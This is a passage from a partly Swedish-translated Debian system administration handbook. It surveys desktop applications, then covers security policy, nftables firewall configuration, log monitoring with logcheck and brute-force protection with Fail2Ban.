An extension to Evolution allows integration with a Microsoft Exchange email system; the required package is evolution-ews.

13.4.2. KMail

The KDE email software can be installed with apt install kmail. KMail only handles email, but it belongs to a software suite called KDE-PIM (for Personal Information Manager) that includes features such as address books, a calendar component, and so on. KMail has all the features one would expect from an excellent email client.

Figur 13.9. KMail-e-postprogramvaran

13.4.3. Thunderbird

The thunderbird package provides the email client from the Mozilla software suite. Various localization sets are available in thunderbird-l10n-* packages; the enigmail extension handles message encrypting and signing, but it is not available in all languages.

Figur 13.10. Thunderbird e-postprogramvaran

13.5. Webbläsare

Epiphany, the web browser in the GNOME suite, uses the WebKit display engine developed by Apple for its Safari browser. The relevant package is epiphany-browser.

Konqueror, available in the konqueror package, is KDE's web browser (but can also assume the role of a file manager). It uses the KDE-specific KHTML rendering engine; KHTML is an excellent engine, as witnessed by the fact that Apple's WebKit is based on KHTML. KDE also has a newer browser called Falkon, available in the falkon package. It uses the QtWebEngine.

Users not satisfied by any of the above can use Firefox. This browser, available in the firefox-esr package, uses the Mozilla project's Gecko renderer, with a thin and extensible interface on top.

Figur 13.11. Firefox webbläsare

VOKABULÄR Firefox ESR

Mozilla has a very fast-paced release cycle for Firefox. New releases are published every six to eight weeks and only the latest version is supported for security issues. This doesn't suit all kind of users so, every 10 cycles, they are promoting one of their release to an Extended Support Release (ESR) which will get security updates (and no functional changes) during the next 10 cycles (which covers a bit more than a year).

Debian has both versions packaged. The ESR one, in the package firefox-esr, is used by default since it is the only version suitable for Debian Stable with its long support period (and even there Debian has to upgrade from one ESR release to the next multiple times during a Debian Stable lifecycle). The regular Firefox is available in the firefox package but it is only available to users of Debian Unstable.

KULTUR Iceweasel, Firefox och andra

Before Debian Stretch, Firefox and Thunderbird were missing. The iceweasel package contained Iceweasel, which was basically Firefox under another name.

The rationale behind this renaming was a result of the usage rules imposed by the Mozilla Foundation on the Firefox™ registered trademark: any software named Firefox had to use the official Firefox logo and icons. However, since these elements are not released under a free license, Debian could not distribute them in its main section. Rather than moving the whole browser to non-free, the package maintainer choose to use a different name.

For similar reasons, the Thunderbird™ email client was renamed to Icedove in a similar fashion.

Nowadays, the logo and icons are distributed under a free software license and Mozilla recognized that the changes made by the Debian project are respecting their trademark license so Debian is again able to ship Mozilla's applications under their official name.

KULTUR Mozilla

Netscape Navigator was the standard browser when the web started reaching the masses, but lost ground when Microsoft bundled Internet Explorer with Windows and signed contracts with computer manufacturers which forbade them from pre-installing Netscape Navigator. Faced with this failure, Netscape (the company) decided to “free” its source code, by releasing it under a free license, to give it a second life. This was the beginning of the Mozilla project. After many years of development, the results are more than satisfying: the Mozilla project brought forth an HTML rendering engine (called Gecko) that is among the most standard-compliant. This rendering engine is in particular used by the Mozilla Firefox browser, which is one of the major browsers.

Last but not least, Debian also contains the Chromium web browser (available in the chromium package). This browser is developed by Google and has become the most popular browser in just a few years. Its clear purpose is to make web services more attractive, both by optimizing the browser for performance and by increasing the user's security. The free code that powers Chromium is also used by its proprietary version called Google Chrome™.

13.6. Utveckling

13.6.1. Verktyg för GTK+ på GNOME

Anjuta (in the anjuta package) and GNOME Builder (in the gnome-builder package) are Integrated Development Environments (IDE) optimized for creating GTK+ applications for GNOME. Glade (in the glade package) is an application designed to create GTK+ graphical interfaces for GNOME and save them in an XML file. These XML files can then be loaded by the GTK+ shared library through its GtkBuilder component to recreate the saved interfaces; such a feature can be interesting, for instance for plugins that require dialogs.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

→ https://glade.gnome.org/

13.6.2. Verktyg för Qt

The equivalent applications for Qt applications are KDevelop by KDE (in the kdevelop package) for the development environment, and Qt Designer (in the qttools5-dev-tools package) for the design of graphical interfaces for Qt applications.

KDevelop is also a generic IDE and provides plugins for other languages like Python and PHP and different build systems.

13.7. Office-paket

Office software has long been seen as lacking in the free software world. Users require replacements for Microsoft tools such as Word and Excel, but these are so complex that replacements were hard to develop. The situation changed when Sun released the StarOffice code under a free license as OpenOffice, a project which later gave birth to LibreOffice, which is available on Debian. The KDE project also has its own office suite, called Calligra Suite (previously KOffice), and GNOME, while never offering a comprehensive office suite, provides AbiWord as a word processor and Gnumeric as a spreadsheet. The various projects each have their strengths. For instance, the Gnumeric spreadsheet is better than OpenOffice.org/LibreOffice in some domains, notably the precision of its calculations. On the word processing front, the LibreOffice suite still leads the way.

Another important feature for users is the ability to import Microsoft Office documents. Even though all office suites have this feature, only the ones in OpenOffice.org and LibreOffice are functional enough for daily use.

THE BROADER VIEW LibreOffice replaces OpenOffice.org

OpenOffice.org contributors set up a foundation (The Document Foundation) to foster the project's development. The idea had been discussed for some time, but the actual trigger was Oracle's acquisition of Sun. The new ownership made the future of OpenOffice under Oracle uncertain. Since Oracle declined to join the foundation, the developers had to give up on the OpenOffice.org name. This office suite is now known as LibreOffice, and is available in Debian.

After a period of relative stagnation on OpenOffice.org, Oracle donated the code and associated rights to the Apache Software Foundation, and OpenOffice is now an Apache project. This project is not currently available in Debian and is rather moribund when compared to LibreOffice.

LibreOffice and Calligra Suite are available in the libreoffice and calligra Debian packages, respectively.

Language-specific packs for LibreOffice are distributed in separate packages, most notably libreoffice-l10n-* and libreoffice-help-*. Some features such as spelling dictionaries, hyphenation patterns and thesauri are in separate packages, such as myspell-*, hunspell-*, hyphen-* and mythes-*.

13.8. Emulera Windows: Wine

In spite of all the previously mentioned efforts, there are still a number of tools without a Linux equivalent, or for which the original version is absolutely required. This is where Windows emulation systems come in handy. The most well-known among them is Wine.

→ https://www.winehq.org/

KOMPLEMENT CrossOver Linux

CrossOver, produced by CodeWeavers, is a set of enhancements to Wine that broadens the available set of emulated features to a point at which Microsoft Office becomes fully usable. Some of the enhancements are periodically merged into Wine.

→ https://www.codeweavers.com/products/

However, one should keep in mind that it is only a solution among others, and the problem can also be tackled with a virtual machine or VNC; both of these solutions are detailed in the sidebars ALTERNATIV Virtuella maskiner and ALTERNATIV Windows Terminal Server eller VNC.

Let us start with a reminder: emulation allows executing a program (developed for a target system) on a different host system. The emulation software uses the host system, where the application runs, to imitate the required features of the target system.

Now let's install the required packages (ttf-mscorefonts-installer is in the contrib section):

# apt install wine ttf-mscorefonts-installer

On a 64 bit (amd64) system, if your Windows applications are 32 bit applications, then you will have to enable multi-arch to be able to install wine32 from the i386 architecture (see Avsnitt 5.4.5, ”Support för Multi-Instruktionsuppsättning”).

The user then needs to run winecfg and configure which (Debian) locations are mapped to which (Windows) drives. winecfg has some sane defaults and can auto-detect some more drives; note that even if you have a dual-boot system, you should not point the C: drive at where the Windows partition is mounted in Debian, as Wine is likely to overwrite some of the data on that partition, making Windows unusable. Other settings can be kept to their default values. To run Windows programs, you will first need to install them by running their (Windows) installer under Wine, with a command such as wine .../setup.exe; once the program is installed, you can run it with wine .../program.exe. The exact location of the program.exe file depends on where the C: drive is mapped; in many cases, however, simply running wine program will work, since the program is usually installed in a location where Wine will look for it by itself.

TIP Working around a winecfg failure

In some cases, winecfg (which is just a wrapper) might fail. As a workaround, it is possible to try to run the underlying command manually: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so or wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.

Note that you should not rely on Wine (or similar solutions) without actually testing the particular software: only a real-use test will determine conclusively whether emulation is fully functional.

ALTERNATIV Virtuella maskiner

An alternative to emulating Microsoft's operating system is to actually run it in a virtual machine that emulates a full hardware machine. This allows running any operating system. Kapitel 12, Avancerad administration describes several virtualization systems, most notably Xen and KVM (but also QEMU, VMWare and VirtualBox).

ALTERNATIV Windows Terminal Server eller VNC

Yet another possibility is to remotely run the legacy Windows applications on a central server with Windows Terminal Server and access the application from Linux machines using rdesktop. This is a Linux client for the RDP protocol (Remote Desktop Protocol) that Windows NT/2000 Terminal Server uses to display desktops on remote machines.

The VNC software provides similar features, with the added benefit of also working with many operating systems. Linux VNC clients and servers are described in Avsnitt 9.2, ”Fjärrinloggning”.

13.9. Real-Time Communications software

Debian provides a wide range of Real-Time Communications (RTC) client software. The setup of RTC servers is discussed in Avsnitt 11.8, ”Real-Time Communication Services”. In SIP (Session Initiation Protocol) terminology, a client application or device is also referred to as a user agent.

Each client application varies in functionality. Some applications are more convenient for intensive chat users while other applications are more stable for webcam users. It may be necessary to test several applications to identify those which are most satisfactory. A user may finally decide that they need more than one application, for example, an XMPP application for messaging with customers and an IRC application for collaboration with some online communities.

To maximize the ability of users to communicate with the wider world, it is recommended to configure both SIP and XMPP clients or a single client that supports both protocols.

The default GNOME desktop suggests the Empathy communications client. Empathy can support both SIP and XMPP. It supports instant messaging (IM), voice and video. The KDE project provides KDE Telepathy, a communications client based on the same underlying Telepathy APIs used by the GNOME Empathy client.

Popular alternatives to Empathy/Telepathy include Ekiga, Linphone, Psi, Jitsi and Jami (formerly known as Ring).

Jitsi requires no client other than a web browser. It support encrypted calls, and there is a huge list of public instances. There is no official Debian package for Jitsi, but it can be downloaded from their official website.

Some of these applications can also interact with mobile users using apps such as Lumicall on Android.

→ https://lumicall.org

The Real-Time Communications Quick Start Guide has a chapter dedicated to client software.

→ http://rtcquickstart.org/guide/multi/useragents.html

TIPS Leta efter klienter som stödjer ICE och TURN

Some RTC clients have significant problems sending voice and video through firewalls and NAT networks. Users may receive ghost calls (their phone rings but they don't hear the other person) or they may not be able to call at all.

The ICE and TURN protocols were developed to resolve these issues. Operating a TURN server with public IP addresses in each site and using client software that supports both ICE and TURN gives the best user experience.

If the client software is only intended for instant messaging, there is no requirement for ICE or TURN support.

ALTERNATIV Internet Relay Chat

IRC can also be considered, in addition to SIP and XMPP. IRC is more oriented around the concept of channels, the name of which starts with a hash sign #. Each channel is usually targeted at a specific topic and any number of people can join a channel to discuss it (but users can still have one-to-one private conversations if needed). The IRC protocol is older, and does not allow end-to-end encryption of the messages; it is still possible to encrypt the communications between the users and the server by tunneling the IRC protocol inside SSL.

IRC clients are a bit more complex, and they usually provide many features that are of limited use in a corporate environment. For instance, channel “operators” are users endowed with the ability to kick other users from a channel, or even ban them permanently, when the normal discussion is disrupted.

Since the IRC protocol is very old, many clients are available to cater for many user groups; examples include XChat, and Smuxi (graphical clients based on GTK+), Irssi (text mode), Circe (integrated to Emacs), and so on.

Kapitel 14. Säkerhet

An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.

14.1. Definiera en säkerhetspolicy

VARNING Omfattning av detta kapitel

Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject.

The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.

The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:

What are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.

What are we trying to protect against? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?

Also, who are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.

The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.

NOTE Permanent questioning

Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.

Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.

När risken har modellerats kan man börja tänka på att utforma en faktisk säkerhetspolicy.

NOTERA Extrema policyer

Det finns fall där valet av åtgärder som krävs för att säkra ett system är extremt enkelt.

For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.

At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…

Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.

In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.

14.2. Brandvägg eller Paketfiltrering

TILLBAKA TILL GRUNDERNA Brandvägg

A firewall is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.

A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.

SPECIFIKT FALL Lokal brandvägg

A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services. It is, however, always better to configure services to not listen on those network interfaces, where these services are not supposed to be offered, or to disable and remove services, which are not to be offered at all, than to use a packet filter to prevent any unwanted access to these services.

Its role can also be to filter or limit connections by rogue or poorly programmed software that a user could, willingly or not, have installed. The reliability of this, however, highly depends on the goal of these actions and the integrity of the system itself. This action is not a measurement to prevent potential threats to send data.

Linux kärnan bäddar in netfilter brandvägg, som kan styras från userspace med iptables, ip6tables, arptables och ebtables kommandon.

However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the nft command. Since Debian Buster, the nftables framework is used by default. The commands mentioned before are provided by versions, which use the nftables kernel API, by default. If one requires the “classic“ commands, the relevant binaries can be adjusted using update-alternatives.

TOOLS fwbuilder and ufw

Although (destined to) being replaced by nftables, iptables is still widely used and suited for many use-cases. Creating a rule requires an invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script, so that the same configuration is set up automatically every time the machine boots, or they can be made “persistent“ using iptables-persistent.

A script usually needs to be written by hand. But there are, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them. The rules are created with simple drag-and-drop actions on objects (interfaces, networks, ports, servers, etc.). A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured.

An alternative to writing and saving/loading the required rules is to use ufw from the package with the same name. This tool is a frontend to iptables as well, but it provides a command line interface only. Simple commands can enable or disable (block) network traffic to and from ports and IP addresses. The configuration files in /etc/ufw/ also allow for complex rule sets (e.g. hooking into the Docker chains), which are then saved and loaded automatically. This tool is often used for simple setups and to block incoming traffic on ports which cannot be assigned to a limited set of interfaces or closed appropriately.

För att aktivera en standard brandvägg i Debian kör:

# apt install -y nftables Reading package lists... Done ... # systemctl enable nftables.service Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. nftables Beteende

As the kernel is processing a network packet, it pauses and allows us to inspect the packet and decide what to do with that packet. For example, we might want to drop or discard certain incoming packets, modify other packets in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems.

En god förståelse för lager 3, 4 och 5 i OSI-modellen (Open Systems Interconnection) är nödvändig för att få ut det mesta av netfilter.

KULTUR OSI-modellen

The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.

Denna modell definierades i standarden ISO/EIC 7498. Följande sju lager beskrivs:

Fysiskt: överföring och mottagning av råa bitströmmar över ett fysiskt medium

Datalänk: tillförlitlig överföring av dataramar mellan två noder som är anslutna genom ett fysiskt lager

Nätverk: strukturera och hantera ett nätverk med flera noder, inklusive adressering, routning och trafikkontroll

Transport: tillförlitlig överföring av datasegment mellan punkter i ett nätverk, inklusive segmentering, bekräftelse och multiplexering

Session: hantering av kommunikationssessioner, dvs. kontinuerligt utbyte av information i form av flera överföringar fram och tillbaka mellan två noder

Presentation: översättning av data mellan en nätverkstjänst och en applikation, inklusive teckenkodning, datakomprimering och kryptering/avkryptering

Program: API:er på hög nivå, inklusive resursdelning, fjärråtkomst till filer.

More information can be found on Wikipedia:

→ https://en.wikipedia.org/wiki/OSI_model

The firewall is configured with tables, which hold rules contained in chains. Unlike iptables, nftables does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: ip, ip6, inet, arp and bridge. ip is used if the family is not specified.

There are two types of chains: base chains and regular chains. A base chain is an entry point for packets from the networking stack. Base chains are registered into the Netfilter hooks, e.g. they see packets flowing through the TCP/IP stack. On the other hand, a regular chain is not attached to any hook so it does not see any traffic. But it may be used as a jump target for better organization of the rules.

Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like accept, drop, queue, continue, return, jump chain and goto chain.

TILLBAKA TILL GRUNDERNA ICMP

ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC 777 and RFC 792 were soon completed and extended.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).

Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC 4443.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Flytta från iptables till nftables

The iptables-translate and ip6tables-translate commands can be used to translate old iptables commands into the new nftables syntax. Whole rule sets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:

# iptables-save > iptables-ruleset.txt # iptables-restore-translate -f iptables-ruleset.txt # Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022 add table ip filter add chain ip filter INPUT { type filter hook input priority 0; policy accept; } add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; } add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; } add chain ip filter DOCKER add chain ip filter DOCKER-ISOLATION-STAGE-1 add chain ip filter DOCKER-ISOLATION-STAGE-2 add chain ip filter DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1 add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept add rule ip filter FORWARD oifname "docker0" counter jump DOCKER add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2 add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return add rule ip filter DOCKER-USER counter return add table ip nat add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; } add chain ip nat INPUT { type nat hook input priority 100; policy accept; } add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; } add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; } add chain ip nat DOCKER add rule ip nat PREROUTING fib daddr type local counter jump DOCKER add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade add rule ip nat DOCKER iifname "docker0" counter return # Completed on Wed Mar 16 22:06:32 2022 # iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft # nft -f ruleset.nft # nft list ruleset table inet filter { chain input { type filter hook input priority filter; policy accept; } chain forward { type filter hook forward priority filter; policy accept; } chain output { type filter hook output priority filter; policy accept; } } table ip nat { chain DOCKER { iifname "docker0" counter packets 0 bytes 0 return iifname "docker0" counter packets 0 bytes 0 return } chain POSTROUTING { type nat hook postrouting priority srcnat; policy accept; oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade } chain PREROUTING { type nat hook prerouting priority dstnat; policy accept; fib daddr type local counter packets 1 bytes 60 jump DOCKER fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain OUTPUT { type nat hook output priority -100; policy accept; ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain INPUT { type nat hook input priority 100; policy accept; } } table ip filter { chain DOCKER { } chain DOCKER-ISOLATION-STAGE-1 { iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return } chain DOCKER-ISOLATION-STAGE-2 { oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return } chain FORWARD { type filter hook forward priority filter; policy drop; counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state related,established counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state established,related counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept } chain DOCKER-USER { counter packets 0 bytes 0 return counter packets 0 bytes 0 return } chain INPUT { type filter hook input priority filter; policy accept; } chain OUTPUT { type filter hook output priority filter; policy accept; } }

Verktygen iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft är versioner av iptables som använder nftables API, så användare kan fortsätta att använda den äldre iptables syntaxen med dom, men det rekommenderas inte; dessa verktyg ska endast användas för bakåtkompatibilitet.

14.2.3. Syntax för nft

The nft commands allow manipulating tables, chains and rules. The table option supports multiple operations: add, create, delete, list and flush. nft add table ip6 mangle adds a new table from the family ip6.

To insert a new base chain to the filter table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Rules are usually added with the following syntax: nft add rule [family] table chain handle handle statement.

insert is similar to the add command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

The executed nft commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in /etc/nftables.conf. A simple way to save the current firewall configuration permanently is to execute nft list ruleset > /etc/nftables.conf as root.

nft tillåter många fler operationer, se dess manual på sidan nft(8) för mer information.

14.2.4. Installera reglerna vid varje uppstart

To enable a default firewall in Debian, you need to store the rules in /etc/nftables.conf and execute systemctl enable nftables as root. You can stop the firewall by executing nft flush ruleset as root.

I andra fall är det rekommenderade sättet att registrera konfigurationsskriptet i up direktivet av /etc/network/interfaces filen. I följande exempel, så är skriptet lagrat under /usr/local/etc/arrakis.fw.

Exempel 14.1. interfaces fil som kallar på brandväggsskriptet

auto eth0 iface eth0 inet static address 192.168.0.1 network 192.168.0.0 netmask 255.255.255.0 broadcast 192.168.0.255 up /usr/local/etc/arrakis.fw

This obviously assumes that you are using ifupdown to configure the network interfaces. If you are using something else (like NetworkManager or systemd-networkd), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.

14.3. Övervakning: Förebyggande, Upptäckt och Avskräckning

Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes Avsnitt 12.4, ”Övervakning”.

14.3.1. Övervakning av loggar med logcheck

logcheck programmet övervakar loggfiler varje timme som standard. Det skickar ovanliga loggmeddelanden i e-postmeddelanden till administratören för vidare analys.

Listan över övervakade filer lagras i /etc/logcheck/logcheck.logfiles; standardvärdena fungerar bra om /etc/rsyslog.conf filen inte har blivit helt omarbetad.

logcheck can work in one of three more or less detailed modes: paranoid, server and workstation. The first one is very verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).

In all three cases, logcheck should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, /usr/share/doc/logcheck-database/README.logcheck-database.gz is a required — if challenging — read.

De tillämpade reglerna kan delas upp i flera olika typer:

those that qualify a message as a cracking attempt (stored in a file in the /etc/logcheck/cracking.d/ directory);

those canceling such a qualification (/etc/logcheck/cracking.ignore.d/);

those classifying a message as a security alert (/etc/logcheck/violations.d/);

those canceling this classification (/etc/logcheck/violations.ignore.d/);

finally, those applying to the remaining messages (considered as system events).

VARNING Ignorera ett meddelande

Any message tagged as a cracking attempt or a security alert (following a rule stored in a /etc/logcheck/violations.d/myfile file) can only be ignored by a rule in a /etc/logcheck/violations.ignore.d/myfile or /etc/logcheck/violations.ignore.d/myfile-extension file.

A system event is always signaled unless a rule in one of the /etc/logcheck/ignore.d.{paranoid,server,workstation}/ directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.

14.3.2. Monitoring Activity

14.3.2.1. I realtid

top is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the P key. Other sort orders include a sort by occupied memory (M key), by total processor time (T key) and by process identifier (N key). The k key allows killing a process by entering its process identifier. The r key allows renicing a process, i.e. changing its priority.

When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.

top is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.

gnome-system-monitor grafiskt verktyg liknar top och det ger ungefär samma funktioner.

14.3.2.2. Historik

Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.

There are many dedicated tools for this task. Most can fetch data via SNMP (Simple Network Management Protocol) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.

This book deals with Munin in some detail (see Avsnitt 12.4.1, ”Ställa in Munin”) as part of Kapitel 12: ”Avancerad administration”. Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/Table-of-Contents.html) should be considered a prerequisite.

ALTERNATIVmrtg

mrtg (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.

mrtg-contrib och mrtgutils paketen innehåller exempelskript som kan användas direkt.

14.3.3. Undvik intrång

Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log into an unauthorized software system by performing multiple login attempts in a short period of time.

The best way to stop a brute-force attack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address.

Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attempts to a log file. It can be found in the package fail2ban.

Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban/:

fail2ban.conf. Global konfiguration (t.ex. loggning).

filter.d/*.conf. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.

action.d/*.conf. Actions defining the commands for banning and “unbanning“ of IP addresses.

jail.conf. It is where jails, the combinations of filters and actions, are defined.

